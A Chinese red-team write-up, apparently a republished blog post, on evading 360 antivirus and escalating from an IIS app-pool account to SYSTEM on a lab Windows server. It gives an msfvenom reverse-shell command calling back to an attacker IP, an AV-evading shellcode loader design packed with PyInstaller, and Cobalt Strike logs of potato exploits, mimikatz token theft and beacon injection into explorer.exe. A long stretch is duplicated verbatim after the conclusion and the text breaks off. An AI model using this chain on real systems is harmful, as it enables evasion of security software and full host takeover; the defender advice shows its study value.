首页/新闻资讯/正文详情

记一次360免杀绕过提权思路

发布时间:2026/11/5 2:05:46 来源:云帆数科 栏目:资讯中心
记一次360免杀绕过提权思路
实战解析360核晶防护下从IIS低权限到SYSTEM的免杀与提权全链路剖析靶场环境概述本次实战的目标是一台运行IIS服务的Windows Server 2012 R2服务器。该服务器部署了360安全卫士全系产品包括360Tray托盘程序、ZhuDongFangYu主动防御服务、360Safe安全卫士主程序、safesvr安全服务以及360rps勒索防护。最关键的是360的核晶防护引擎Hvm处于开启状态注册表键值HKLM\SYSTEM\CurrentControlSet\Services\360Hvm\WorkConfig为0x1。核晶防护是360基于Intel VT-x硬件虚拟化技术实现的内核级防护体系它运行在Ring -1比操作系统内核Ring 0更底层层能够监控系统调用、内存访问、进程创建等高危行为。传统的用户态Hook对抗手段在核晶面前往往失效这为本次攻击设定了极高的技术门槛。免杀木马获得立足点IIS低权限免杀载荷生成攻击的第一步是获取初始立足点。我们使用Metasploit框架生成基础Shellcodemsfvenom-pwindows/x64/meterpreter/reverse_tcplhost192.168.59.100lport12345--encryptbase64-fc此处–encrypt base64参数并不提供真正的加密强度其主要作用是将Shellcode中的空字节\x00等特殊字符进行编码便于后续嵌入源代码中避免因字符截断导致载荷失效。生成的C语言格式Shellcode将作为后续加载器的核心数据。分离式加载器构建为了实现静态免杀我们使用了一个Python编写的加载器Bypass_AV.py。该加载器的核心逻辑如下Shellcode存储将经过编码的Shellcode以字符串形式硬编码在Python脚本中不与可执行代码直接关联。动态解密程序运行时在内存中申请一块可读写的内存区域VirtualAlloc将密文Shellcode解密后写入。属性修改调用VirtualProtect将内存区域的权限修改为PAGE_EXECUTE_READWRITE使其具备可执行权限。指针执行将内存地址强制转换为函数指针通过CreateThread或直接调用CallWindowProc等的方式触发Shellcode执行。这种“先写后执行”的模式使得杀毒软件难以通过静态特征扫描发现恶意代码因为Shellcode在文件中是以密文形式存在的且没有直接调用敏感的Windows API如CreateRemoteThread绕过了360的静态查杀引擎。打包与上线使用PyInstaller将Python脚本打包为单文件可执行程序python-m PyInstaller-F-w Bypass_AV.py-F参数表示生成单一文件-w参数表示无控制台窗口。打包后的.exe文件在目标机器上执行后成功回连至msf再通过msf会话注入到cs中初始Beacon会话的权限为IIS APPPOOL\ackmoon这是一个由IIS应用程序池使用的虚拟账户权限极低属于典型的“受限用户”级别。虽然拥有SeImpersonatePrivilege等特权但无法直接访问系统关键资源。提权受阻与核晶防护分析提权经过多种经典提权方法尝试无果获取IIS权限后首要任务是提权至SYSTEM。我们依次尝试了多种经典提权方法JuicyPotatoMS16-075执行命令elevate juicypotato MSF_payload-inject控制台返回[] authresult 0 [*] {4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM现象从回显看漏洞利用逻辑成功执行获取到了SYSTEM令牌。但随后并没有新的SYSTEM会话上线终端甚至可能弹出了360的拦截提示。原理剖析JuicyPotato利用Windows的DCOM/RPCSS服务通过劫持OXID解析诱骗SYSTEM账户向我们的命名管道发起NTLM认证。这一步在内存中成功执行了我们拿到了SYSTEM的模拟令牌。然而JuicyPotato在获取令牌后必须调用CreateProcessWithTokenW或CreateProcessAsUser来创建新的高权限进程以执行Payload。360核晶在Ring -1层监控到了“低权限进程IIS尝试创建高权限子进程”的行为直接拦截了进程创建请求。结论漏洞利用成功但死在了“创建进程”这一步。这成为了后续战术设计的核心突破口——必须避开CreateProcess。RottenPotato尝试RottenPotato时elevate rottenpotato MSF_payload-inject控制台返回[*] Task Beacon to run windows/beacon_http/reverse_http (192.168.59.100:1111) via RottenPotato (ms16-075) [] host called home, sent: 335295 bytes并且弹出了一个新的beacon显示system但是在该会话中执行whoami返回的却还是IIS APPPOOL\ackmoon并不是真的SYSTEM权限的会话原因在于JuicyPotato在获取令牌后需要调用CreateProcessWithTokenW或CreateProcessAsUser来创建新的高权限进程以执行Payload。360核晶在驱动层监控到了“低权限进程IIS尝试创建高权限子进程”的行为直接拦截了进程创建请求。但cs可能以为漏洞利用成功了就能获得system权限所以返回了system会话的假象GodPotato BOF内存执行为规避进程创建拦截我们尝试使用GodPotato的BOF版本。该版本通过inline-execute在内存中执行理论上不创建新进程。首先在Kali Linux中编译BOFmake生成的BOF.x86.o和BOF.x64.o文件被导入Cobalt Strike。在Beacon中执行godpotato token控制台输出[*] HookRPC [*] Start PipeServer [*] CreateNamedPipe \\.\pipe\gj19vbd03hghd\pipe\epmapper [*] Trigger RPCSS via new STA thread [-] Named pipe timed out [*] pipe_connected-1Named pipe timed out表明命名管道的连接超时。GodPotato的核心原理是创建一个命名管道然后通过RPCSSRemote Procedure Call Subsystem的DCOM接口诱骗SYSTEM进程连接该管道。连接成功后攻击者可以模拟SYSTEM的身份。然而360核晶对BOF在内存中创建命名管道的行为进行了全局监控直接阻断了管道的连接。此外默认生成的随机管道名如gj19vbd03hghd具有明显的异常特征容易被规则命中。最低权限下的令牌机制验证为了深入理解权限边界我们在全新的IIS会话中进行了验证[11/03 17:24:46] beacon mimikatz token::elevate /system [] received output: Token Id : 0 User name : SID name : NT AUTHORITY\SYSTEM 2888 {0;000003e7} 0 D 29376842 NT AUTHORITY\SYSTEM S-1-5-18 (04g,30p) Primary - Impersonated ! * Process Token : {0;00198b93} 0 D 32284162 IIS APPPOOL\ackmoon S-1-5-82-3440238256-1837856497-1717352459-2388913316-3138687678 (11g,07p) Primary * Thread Token : {0;000003e7} 0 D 32306814 NT AUTHORITY\SYSTEM S-1-5-18 (04g,30p) Impersonation (Delegation)这段输出揭示了Windows令牌机制的关键细节token::elevate成功获取了SYSTEM的模拟令牌并将其应用到了当前线程。但进程的主令牌依然是IIS APPPOOL\ackmoon。此时执行shell whoami[11/03 17:39:28] beacon shell whoami [11/03 17:39:29] [-] could not spawn C:\Windows\system32\cmd.exe /C whoami (token): 5 - ERROR_ACCESS_DENIED虽然线程拥有SYSTEM的模拟令牌但shell命令需要创建新的cmd.exe进程。进程创建时系统检查的是进程的主令牌而主令牌仍然是IIS权限。因此核晶拦截了这次进程创建返回ERROR_ACCESS_DENIED错误码5。这一验证清晰地表明在Windows中进程的权限由主令牌决定线程的模拟令牌只能用于当前线程内的操作无法用于创建新进程。 这就是为什么单纯模拟令牌无法完成提权的根本原因。进程注入与权限继承既然无法从低权限进程直接创建高权限进程我们需要寻找一条不涉及CreateProcess的路径。Windows的进程注入机制为我们提供了可能将一个Payload注入到已有的高权限进程中Payload将继承目标进程的主令牌。在目标机器的进程列表中我们找到了理想的宿主进程PID PPID Name Arch Session User 1180 2664 explorer.exe x64 1 12SERVER-WEB1\Administratorexplorer.exePID 1180以Administrator身份运行且是x64架构。如果我们能将Beacon注入到这个进程中新的Beacon将直接继承Administrator的主令牌。注入的前提条件然而直接使用IIS权限执行inject 1180 x64会遇到问题。跨进程注入需要打开目标进程的句柄而OpenProcess的权限检查同样基于当前进程的主令牌。IIS权限无法打开Administrator进程的句柄注入会失败。此时我们之前获取的SYSTEM模拟令牌派上了用场。虽然它不能用于创建进程但可以临时提升当前线程的访问权限。当我们执行getsystem后当前线程拥有了SYSTEM的模拟令牌。此时调用OpenProcess打开explorer.exe的句柄系统会认为当前线程是SYSTEM身份从而放行。这就是整个战术的核心转折点用临时的模拟令牌作为“敲门砖”打开高权限进程的大门然后通过注入实现权限的“物理继承”。注入执行与权限继承[11/03 17:40:13] beacon inject 1180 x64 [11/03 17:40:16] [*] Tasked beacon to inject windows/beacon_http/reverse_http (192.168.59.100:1111) into 1180 (x64) [11/03 17:40:17] [] host called home, sent: 295952 bytes注入成功后新的Beacon会话回连。验证身份[11/03 17:40:51] beacon shell whoami [11/03 17:41:17] [] received output: 12server-web1\administrator此时Beacon已经运行在explorer.exe的内存空间中继承了其Administrator的主令牌。这是一个真正的、持久的高权限身份而非临时的模拟令牌。核心原理深度剖析这个注入过程之所以能成功依赖于以下几个关键机制模拟令牌的权限提升getsystem获取的SYSTEM模拟令牌虽然不能创建进程但足以满足OpenProcess的权限要求。核晶对OpenProcess的监控相对宽松因为它不涉及进程创建。跨进程注入的实现Cobalt Strike的inject命令使用了远程线程注入技术CreateRemoteThread或QueueUserAPC。它将Payload写入目标进程的内存空间并创建远程线程执行。整个过程在目标进程内部完成不涉及新进程的创建。主令牌的继承当Payload在目标进程的内存中执行时它使用的是目标进程的主令牌。explorer.exe以Administrator身份运行因此Beacon获得了Administrator权限。最终提权在Administrator会话中成功执行getsystem后Beacon拥有了SYSTEM主令牌。此时执行shell whoami验证[11/03 17:43:06] beacon shell whoami [11/03 17:43:06] [] received output: nt authority\system与之前IIS权限下的模拟令牌不同这次是真正的SYSTEM主令牌shell命令可以正常创建进程不再报ERROR_ACCESS_DENIED。其他尝试直接 elevate 后的进程注入阻断基于避开进程创建的思路我们尝试先用土豆提权然后立刻注入beacon elevate rottenpotato MSF_payload-inject [] host called home, sent: 335327 bytes beacon inject 1180 x64 [-] could not open process 1180: 5 - ERROR_ACCESS_DENIED现象elevate 看起来执行了随后尝试注入 explorer.exe (PID 1180) 时直接报错拒绝访问错误码5。原理剖析elevate rottenpotato 的本质是“利用漏洞偷令牌 创建新进程”。因为360拦截了创建进程那个用来反弹新会话的高权限进程根本没有活下来。此时当前正在敲命令的这个 Beacon它的进程主令牌依然是 IIS APPPOOL。当紧接着敲下 inject 1180 时系统是以 IIS 的身份去请求打开 Administrator 进程的句柄。权限严重不足被 Windows 自身的安全机制直接拒绝。结论elevate 是一个打包好的动作它不会改变你当前进程的身份。在没有成功建立高权限新会话之前你当前的低权限躯壳无法完成跨权限注入。Mimikatz 模拟令牌的“跨线程失效”为了不创建新进程我们尝试用 Mimikatz 直接在内存中套用令牌beacon mimikatz token::elevate /system [] received output: - Impersonated ! * Process Token : IIS APPPOOL\ackmoon Primary * Thread Token : NT AUTHORITY\SYSTEM Impersonation (Delegation) beacon inject 1180 x64 [-] could not open process 1180: 5 - ERROR_ACCESS_DENIED现象Mimikatz 明确显示成功将 SYSTEM 的模拟令牌应用到了当前线程但紧接着注入依然报错拒绝访问。原理剖析这暴露了 Cobalt Strike 底层实现的一个关键细节——线程隔离。Mimikatz 的 token::elevate 仅仅是把 SYSTEM 的模拟令牌贴在了执行这条命令的这一个单独的线程上。当敲下 inject 时CS 会唤醒它的主工作线程或派生新的内部线程去执行远程注入OpenProcess。那个新启动的线程使用的是进程的主令牌IIS。之前贴的模拟令牌“保质期”极短且无法跨线程传递。系统一看一个 IIS 权限的线程想开 Admin 进程再次无情拒绝。结论mimikatz token::elevate 的模拟令牌是“瞬时体验卡”无法传递给后续的注入模块。纯净环境下 getsystem 的必然失败在后续的对照测试中我退出了所有 SYSTEM 和 Administrator 会话回到纯净的 IIS 低权限环境尝试直接执行 getsystem[11/03 23:53:02] beacon getsystem [] received output: getsystem failed.现象直接失败没有任何回显。只有在先执行过 RottenPotato 之后再次执行 getsystem 才会显示 Impersonated NT AUTHORITY\SYSTEM。原理深度剖析Cobalt Strike 的 getsystem 底层会依次尝试命名管道模拟、令牌复制、服务提权三种技术。在纯净的 IIS 环境下命名管道模拟核晶在驱动层 Hook 了 NtCreateNamedPipeFile默认管道特征被监控拦截。令牌复制IIS 权限过低根本无法调用 OpenProcess 获取高权限进程的句柄。服务提权尝试创建服务直接触发核晶对系统配置篡改的拦截。而 RottenPotato 的作用在于“权限污染”。它通过 DCOM/RPCSS 的 NTLM 反射强制让当前进程接触到 SYSTEM 的访问凭证。虽然它创建新进程的请求被拦截了但内存中的权限上下文已经被改变。此时再执行 getsystem它是在这个“已经有了一部分 SYSTEM 特权”的进程上下文中发起的从而顺着 Potato 建立的内存状态绕过了核晶的判定。结论RottenPotato 是破冰的“敲门砖”它硬生生在内存中炸开了一道口子而 getsystem 是顺着这道口子摸进去的“摘桃人”。两者必须配合使用顺序不可颠倒。360核晶防护机制深度剖析基于上述失败尝试我们可以归纳出360核晶的拦截逻辑进程创建监控核晶在Ring -1层Hook了NtCreateUserProcess等内核函数任何从低权限进程发起的高权限进程创建操作都会被视为异常并拦截。这是最核心的防御规则。命名管道监控核晶监控NtCreateNamedPipeFile的调用对于异常管道名如随机字符串或来自低权限进程的管道请求直接阻断连接。这导致所有依赖命名管道模拟的提权工具包括BOF版本失效。内存与跨进程操作监控核晶可能对OpenProcess、ReadProcessMemory等函数进行Hook监控跨进程的内存读取行为。当低权限进程试图打开高权限进程如lsass.exe的句柄时请求会被拒绝。进程注入监控对于跨进程的内存写入和线程创建核晶也有相应的检测规则特别是当源进程的权限低于目标进程时。最终验证的提权最小闭环第一步权限污染RottenPotatoelevate rottenpotato MSF_payload-inject动作目的不等待新会话上线在核晶环境下大概率被拦截。核心目的是利用 RottenPotato 的漏洞逻辑在内存中完成权限上下文的“污染”迫使当前进程接触到 SYSTEM 的访问凭证为后续操作打下基础。第二步应用令牌getsystem[11/03 23:54:21] beacon getsystem [] Impersonated NT AUTHORITY\SYSTEM关键点此时由于有第一步的铺垫getsystem 成功获取了 SYSTEM 模拟令牌。虽然此时 shell whoami 可能依然报错但 CS 的底层上下文已经具备了跨进程操作的能力。第三步寄生高权限进程injectbeacon inject 1180 x64 [] host called home, sent: 295952 bytes beacon shell whoami [] received output: 12server-web1\administrator原理带着 SYSTEM 模拟令牌成功打开 explorer.exe (PID 1180) 的句柄将 Payload 注入其内存。Payload 启动后直接继承了 explorer.exe 的主令牌Administrator彻底摆脱了 IIS 的物理限制。第四步合法环境二次提权getsystembeacon getsystem [] Impersonated NT AUTHORITY\SYSTEM beacon shell whoami [] received output: nt authority\system原理此时起点已是合法的管理员360 核晶不会将其判定为越权行为。提权畅通无阻成功获取了真正的、稳定的 SYSTEM 主令牌。步骤动作Windows 视角360 视角1elevate rottenpotato利用漏洞完成 NTLM 反射污染权限上下文未成功创建高权限进程核心目标未达成放行部分内存操作2getsystem顺着污染的上下文成功获取 SYSTEM 模拟令牌未触发进程创建相对薄弱3inject 1180 x64带着 SYSTEM 凭证打开 Admin 进程注入并继承主令牌未触发进程创建注入行为难以精准判定4二次getsystemAdministrator 合法提权合法行为不拦战术总结与红队哲学核心战术提炼本次实战的核心突破在于“利用模拟令牌作为跳板通过进程注入实现权限继承”。完整链条如下初始立足通过分离式加载器实现静态免杀获取IIS低权限Beacon。获取模拟令牌使用getsystem获取SYSTEM的模拟令牌。该令牌不能创建进程但可以用于打开高权限进程的句柄。注入高权限进程利用模拟令牌的临时权限将Payload注入到以Administrator身份运行的explorer.exe中。Payload继承目标进程的主令牌获得持久的Administrator权限。二次提权在Administrator会话中再次执行getsystem利用合法管理员的身份绕过核晶的越权检测获取真正的SYSTEM主令牌。对360核晶防护的突破分析360核晶的防御体系虽然强大但存在以下可被利用的盲区进程创建是核心监控点注入不是核晶对NtCreateUserProcess的Hook非常严格但对OpenProcessWriteProcessMemoryCreateRemoteThread的注入链监控相对宽松。这为我们提供了绕过路径。模拟令牌的权限边界核晶允许模拟令牌用于打开进程句柄但不允许用于创建进程。这正好被我们利用——用模拟令牌做“敲门砖”用注入做“换身术”。合法身份的白名单效应当Beacon运行在explorer.exe中时其行为被视为合法系统进程的行为。核晶对合法进程的监控力度远低于对可疑进程的监控。这为我们提供了稳定的操作环境。红队战术思维升华本次实战体现了红队对抗的几个核心原则理解底层机制而非依赖工具很多人面对核晶防护时第一反应是寻找新的免杀工具。但真正的突破来自于对Windows令牌机制和进程注入原理的深刻理解。getsystem和inject都是Cobalt Strike的原生命令它们的组合却能产生意想不到的效果。降维打击避实击虚核晶的核心防御是拦截进程创建我们就避开进程创建转而利用内存注入和权限继承。这种“你打你的我打我的”的思维是红队对抗的精髓。最小闭环高效执行在靶场环境中不断开启新的干净的低权限会话进行测试直到找出最简步骤的提权流程没有冗余步骤。在实战中越简单的路径越可靠越不容易触发意外拦截。持续验证动态调整从JuicyPotato到GodPotato BOF再到最终的注入战术每一步都是在失败后根据反馈调整策略。红队对抗不是一成不变的脚本执行而是动态的博弈过程。防守方启示对于蓝队和防守方而言本次实战提供了以下警示进程注入是核晶的盲区建议加强对OpenProcessCreateRemoteThread组合的监控特别是当源进程的权限低于目标进程时。模拟令牌的滥用需要关注虽然模拟令牌不能创建进程但它可以用于打开高权限进程的句柄。建议对SeImpersonatePrivilege的使用进行审计。explorer.exe等常驻进程是高价值目标攻击者倾向于将Payload注入到explorer.exe、svchost.exe等常驻系统进程中。建议对这些进程的内存完整性进行定期检查。最小权限原则至关重要IIS APPPOOL账户的低权限虽然不能完全阻止攻击但增加了攻击者的操作成本。建议对Web应用的运行账户进行严格的权限隔离。总结本次实战完整展示了在360核晶防护环境下从IIS低权限到SYSTEM权限的突破过程。通过深入理解Windows令牌机制和进程注入原理我们找到了一条绕过核晶进程创建监控的高效路径。这套“模拟令牌进程注入二次提权”的战术不仅适用于本次靶场环境也为未来面对类似内核级防护的红队实战提供了可复用的方法论。红队对抗的本质是认知的对抗。谁能更深刻地理解系统的底层机制谁就能在攻防博弈中占据先机。本次实战的每一个失败尝试都是通向最终突破的阶梯。希望这份报告能为红队研究者提供有价值的参考同时也为防守方提供改进防御体系的思路。- 原因在于JuicyPotato在获取令牌后需要调用CreateProcessWithTokenW或CreateProcessAsUser来创建新的高权限进程以执行Payload。- 360核晶在驱动层监控到了“低权限进程IIS尝试创建高权限子进程”的行为直接拦截了进程创建请求。- 但cs可能以为漏洞利用成功了就能获得system权限所以返回了system会话的假象GodPotato BOF内存执行为规避进程创建拦截我们尝试使用GodPotato的BOF版本。该版本通过inline-execute在内存中执行理论上不创建新进程。首先在Kali Linux中编译BOFmake生成的BOF.x86.o和BOF.x64.o文件被导入Cobalt Strike。在Beacon中执行godpotato token控制台输出[*] HookRPC [*] Start PipeServer [*] CreateNamedPipe \\.\pipe\gj19vbd03hghd\pipe\epmapper [*] Trigger RPCSS via new STA thread [-] Named pipe timed out [*] pipe_connected-1Named pipe timed out表明命名管道的连接超时。GodPotato的核心原理是创建一个命名管道然后通过RPCSSRemote Procedure Call Subsystem的DCOM接口诱骗SYSTEM进程连接该管道。连接成功后攻击者可以模拟SYSTEM的身份。然而360核晶对BOF在内存中创建命名管道的行为进行了全局监控直接阻断了管道的连接。此外默认生成的随机管道名如gj19vbd03hghd具有明显的异常特征容易被规则命中。最低权限下的令牌机制验证为了深入理解权限边界我们在全新的IIS会话中进行了验证[11/03 17:24:46] beacon mimikatz token::elevate /system [] received output: Token Id : 0 User name : SID name : NT AUTHORITY\SYSTEM 2888 {0;000003e7} 0 D 29376842 NT AUTHORITY\SYSTEM S-1-5-18 (04g,30p) Primary - Impersonated ! * Process Token : {0;00198b93} 0 D 32284162 IIS APPPOOL\ackmoon S-1-5-82-3440238256-1837856497-1717352459-2388913316-3138687678 (11g,07p) Primary * Thread Token : {0;000003e7} 0 D 32306814 NT AUTHORITY\SYSTEM S-1-5-18 (04g,30p) Impersonation (Delegation)这段输出揭示了Windows令牌机制的关键细节token::elevate成功获取了SYSTEM的模拟令牌并将其应用到了当前线程。但进程的主令牌依然是IIS APPPOOL\ackmoon。此时执行shell whoami[11/03 17:39:28] beacon shell whoami [11/03 17:39:29] [-] could not spawn C:\Windows\system32\cmd.exe /C whoami (token): 5 - ERROR_ACCESS_DENIED虽然线程拥有SYSTEM的模拟令牌但shell命令需要创建新的cmd.exe进程。进程创建时系统检查的是进程的主令牌而主令牌仍然是IIS权限。因此核晶拦截了这次进程创建返回ERROR_ACCESS_DENIED错误码5。这一验证清晰地表明在Windows中进程的权限由主令牌决定线程的模拟令牌只能用于当前线程内的操作无法用于创建新进程。 这就是为什么单纯模拟令牌无法完成提权的根本原因。进程注入与权限继承既然无法从低权限进程直接创建高权限进程我们需要寻找一条不涉及CreateProcess的路径。Windows的进程注入机制为我们提供了可能将一个Payload注入到已有的高权限进程中Payload将继承目标进程的主令牌。在目标机器的进程列表中我们找到了理想的宿主进程PID PPID Name Arch Session User 1180 2664 explorer.exe x64 1 12SERVER-WEB1\Administratorexplorer.exePID 1180以Administrator身份运行且是x64架构。如果我们能将Beacon注入到这个进程中新的Beacon将直接继承Administrator的主令牌。注入的前提条件然而直接使用IIS权限执行inject 1180 x64会遇到问题。跨进程注入需要打开目标进程的句柄而OpenProcess的权限检查同样基于当前进程的主令牌。IIS权限无法打开Administrator进程的句柄注入会失败。此时我们之前获取的SYSTEM模拟令牌派上了用场。虽然它不能用于创建进程但可以临时提升当前线程的访问权限。当我们执行getsystem后当前线程拥有了SYSTEM的模拟令牌。此时调用OpenProcess打开explorer.exe的句柄系统会认为当前线程是SYSTEM身份从而放行。这就是整个战术的核心转折点用临时的模拟令牌作为“敲门砖”打开高权限进程的大门然后通过注入实现权限的“物理继承”。注入执行与权限继承[11/03 17:40:13] beacon inject 1180 x64 [11/03 17:40:16] [*] Tasked beacon to inject windows/beacon_http/reverse_http (192.168.59.100:1111) into 1180 (x64) [11/03 17:40:17] [] host called home, sent: 295952 bytes注入成功后新的Beacon会话回连。验证身份[11/03 17:40:51] beacon shell whoami [11/03 17:41:17] [] received output: 12server-web1\administrator此时Beacon已经运行在explorer.exe的内存空间中继承了其Administrator的主令牌。这是一个真正的、持久的高权限身份而非临时的模拟令牌。核心原理深度剖析这个注入过程之所以能成功依赖于以下几个关键机制模拟令牌的权限提升getsystem获取的SYSTEM模拟令牌虽然不能创建进程但足以满足OpenProcess的权限要求。核晶对OpenProcess的监控相对宽松因为它不涉及进程创建。跨进程注入的实现Cobalt Strike的inject命令使用了远程线程注入技术CreateRemoteThread或QueueUserAPC。它将Payload写入目标进程的内存空间并创建远程线程执行。整个过程在目标进程内部完成不涉及新进程的创建。主令牌的继承当Payload在目标进程的内存中执行时它使用的是目标进程的主令牌。explorer.exe以Administrator身份运行因此Beacon获得了Administrator权限。最终提权在Administrator会话中成功执行getsystem后Beacon拥有了SYSTEM主令牌。此时执行shell whoami验证[11/03 17:43:06] beacon shell whoami [11/03 17:43:06] [] received output: nt authority\system与之前IIS权限下的模拟令牌不同这次是真正的SYSTEM主令牌shell命令可以正常创建进程不再报ERROR_ACCESS_DENIED。其他尝试直接 elevate 后的进程注入阻断基于避开进程创建的思路我们尝试先用土豆提权然后立刻注入beacon elevate rottenpotato MSF_payload-inject [] host called home, sent: 335327 bytes beacon inject 1180 x64 [-] could not open process 1180: 5 - ERROR_ACCESS_DENIED现象elevate 看起来执行了随后尝试注入 explorer.exe (PID 1180) 时直接报错拒绝访问错误码5。原理剖析elevate rottenpotato 的本质是“利用漏洞偷令牌 创建新进程”。因为360拦截了创建进程那个用来反弹新会话的高权限进程根本没有活下来。此时当前正在敲命令的这个 Beacon它的进程主令牌依然是 IIS APPPOOL。当紧接着敲下 inject 1180 时系统是以 IIS 的身份去请求打开 Administrator 进程的句柄。权限严重不足被 Windows 自身的安全机制直接拒绝。结论elevate 是一个打包好的动作它不会改变你当前进程的身份。在没有成功建立高权限新会话之前你当前的低权限躯壳无法完成跨权限注入。Mimikatz 模拟令牌的“跨线程失效”为了不创建新进程我们尝试用 Mimikatz 直接在内存中套用令牌beacon mimikatz token::elevate /system [] received output: - Impersonated ! * Process Token : IIS APPPOOL\ackmoon Primary * Thread Token : NT AUTHORITY\SYSTEM Impersonation (Delegation) beacon inject 1180 x64 [-] could not open process 1180: 5 - ERROR_ACCESS_DENIED现象Mimikatz 明确显示成功将 SYSTEM 的模拟令牌应用到了当前线程但紧接着注入依然报错拒绝访问。原理剖析这暴露了 Cobalt Strike 底层实现的一个关键细节——线程隔离。Mimikatz 的 token::elevate 仅仅是把 SYSTEM 的模拟令牌贴在了执行这条命令的这一个单独的线程上。当敲下 inject 时CS 会唤醒它的主工作线程或派生新的内部线程去执行远程注入OpenProcess。那个新启动的线程使用的是进程的主令牌IIS。之前贴的模拟令牌“保质期”极短且无法跨线程传递。系统一看一个 IIS 权限的线程想开 Admin 进程再次无情拒绝。结论mimikatz token::elevate 的模拟令牌是“瞬时体验卡”无法传递给后续的注入模块。纯净环境下 getsystem 的必然失败在后续的对照测试中我退出了所有 SYSTEM 和 Administrator 会话回到纯净的 IIS 低权限环境尝试直接执行 getsystem[11/03 23:53:02] beacon getsystem [] received output: getsystem failed.现象直接失败没有任何回显。只有在先执行过 RottenPotato 之后再次执行 getsystem 才会显示 Impersonated NT AUTHORITY\SYSTEM。原理深度剖析Cobalt Strike 的 getsystem 底层会依次尝试命名管道模拟、令牌复制、服务提权三种技术。在纯净的 IIS 环境下命名管道模拟核晶在驱动层 Hook 了 NtCreateNamedPipeFile默认管道特征被监控拦截。令牌复制IIS 权限过低根本无法调用 OpenProcess 获取高权限进程的句柄。服务提权尝试创建服务直接触发核晶对系统配置篡改的拦截。而 RottenPotato 的作用在于“权限污染”。它通过 DCOM/RPCSS 的 NTLM 反射强制让当前进程接触到 SYSTEM 的访问凭证。虽然它创建新进程的请求被拦截了但内存中的权限上下文已经被改变。此时再执行 getsystem它是在这个“已经有了一部分 SYSTEM 特权”的进程上下文中发起的从而顺着 Potato 建立的内存状态绕过了核晶的判定。结论RottenPotato 是破冰的“敲门砖”它硬生生在内存中炸开了一道口子而 getsystem 是顺着这道口子摸进去的“摘桃人”。两者必须配合使用顺序不可颠倒。360核晶防护机制深度剖析基于上述失败尝试我们可以归纳出360核晶的拦截逻辑进程创建监控核晶在Ring -1层Hook了NtCreateUserProcess等内核函数任何从低权限进程发起的高权限进程创建操作都会被视为异常并拦截。这是最核心的防御规则。命名管道监控核晶监控NtCreateNamedPipeFile的调用对于异常管道名如随机字符串或来自低权限进程的管道请求直接阻断连接。这导致所有依赖命名管道模拟的提权工具包括BOF版本失效。内存与跨进程操作监控核晶可能对OpenProcess、ReadProcessMemory等函数进行Hook监控跨进程的内存读取行为。当低权限进程试图打开高权限进程如lsass.exe的句柄时请求会被拒绝。进程注入监控对于跨进程的内存写入和线程创建核晶也有相应的检测规则特别是当源进程的权限低于目标进程时。最终验证的提权最小闭环第一步权限污染RottenPotatoelevate rottenpotato MSF_payload-inject动作目的不等待新会话上线在核晶环境下大概率被拦截。核心目的是利用 RottenPotato 的漏洞逻辑在内存中完成权限上下文的“污染”迫使当前进程接触到 SYSTEM 的访问凭证为后续操作打下基础。第二步应用令牌getsystem[11/03 23:54:21] beacon getsystem [] Impersonated NT AUTHORITY\SYSTEM关键点此时由于有第一步的铺垫getsystem 成功获取了 SYSTEM 模拟令牌。虽然此时 shell whoami 可能依然报错但 CS 的底层上下文已经具备了跨进程操作的能力。第三步寄生高权限进程injectbeacon inject 1180 x64 [] host called home, sent: 295952 bytes beacon shell whoami [] received output: 12server-web1\administrator原理带着 SYSTEM 模拟令牌成功打开 explorer.exe (PID 1180) 的句柄将 Payload 注入其内存。Payload 启动后直接继承了 explorer.exe 的主令牌Administrator彻底摆脱了 IIS 的物理限制。第四步合法环境二次提权getsystembeacon getsystem [] Impersonated NT AUTHORITY\SYSTEM beacon shell whoami [] received output: nt authority\system原理此时起点已是合法的管理员360 核晶不会将其判定为越权行为。提权畅通无阻成功获取了真正的、稳定的 SYSTEM 主令牌。步骤动作Windows 视角360 视角1elevate rottenpotato利用漏洞完成 NTLM 反射污染权限上下文未成功创建高权限进程核心目标未达成放行部分内存操作2getsystem顺着污染的上下文成功获取 SYSTEM 模拟令牌未触发进程创建相对薄弱3inject 1180 x64带着 SYSTEM 凭证打开 Admin 进程注入并继承主令牌未触发进程创建注入行为难以精准判定4二次getsystemAdministrator 合法提权合法行为不拦战术总结与红队哲学核心战术提炼本次实战的核心突破在于“利用模拟令牌作为跳板通过进程注入实现权限继承”。完整链条如下初始立足通过分离式加载器实现静态免杀获取IIS低权限Beacon。获取模拟令牌使用getsystem获取SYSTEM的模拟令牌。该令牌不能创建进程但可以用于打开高权限进程的句柄。注入高权限进程利用模拟令牌的临时权限将Payload注入到以Administrator身份运行的explorer.exe中。Payload继承目标进程的主令牌获得持久的Administrator权限。二次提权在Administrator会话中再次执行getsystem利用合法管理员的身份绕过核晶的越权检测获取真正的SYSTEM主令牌。对360核晶防护的突破分析360核晶的防御体系虽然强大但存在以下可被利用的盲区进程创建是核心监控点注入不是核晶对NtCreateUserProcess的Hook非常严格但对OpenProcessWriteProcessMemoryCreateRemoteThread的注入链监控相对宽松。这为我们提供了绕过路径。模拟令牌的权限边界核晶允许模拟令牌用于打开进程句柄但不允许用于创建进程。这正好被我们利用——用模拟令牌做“敲门砖”用注入做“换身术”。合法身份的白名单效应当Beacon运行在explorer.exe中时其行为被视为合法系统进程的行为。核晶对合法进程的监控力度远低于对可疑进程的监控。这为我们提供了稳定的操作环境。红队战术思维升华本次实战体现了红队对抗的几个核心原则理解底层机制而非依赖工具很多人面对核晶防护时第一反应是寻找新的免杀工具。但真正的突破来自于对Windows令牌机制和进程注入原理的深刻理解。getsystem和inject都是Cobalt Strike的原生命令它们的组合却能产生意想不到的效果。降维打击避实击虚核晶的核心防御是拦截进程创建我们就避开进程创建转而利用内存注入和权限继承。这种“你打你的我打我的”的思维是红队对抗的精髓。最小闭环高效执行在靶场环境中不断开启新的干净的低权限会话进行测试直到找出最简步骤的提权流程没有冗余步骤。在实战中越简单的路径越可靠越不容易触发意外拦截。持续验证动态调整从JuicyPotato到GodPotato BOF再到最终的注入战术每一步都是在失败后根据反馈调整策略。红队对抗不是一成不变的脚本执行而是动态的博弈过程。防守方启示对于蓝队和防守方而言本次实战提供了以下警示进程注入是核晶的盲区建议加强对OpenProcessCreateRemoteThread组合的监控特别是当源进程的权限低于目标进程时。模拟令牌的滥用需要关注虽然模拟令牌不能创建进程但它可以用于打开高权限进程的句柄。建议对SeImpersonatePrivilege的使用进行审计。explorer.exe等常驻进程是高价值目标攻击者倾向于将Payload注入到explorer.exe、svchost.exe等常驻系统进程中。建议对这些进程的内存完整性进行定期检查。最小权限原则至关重要IIS 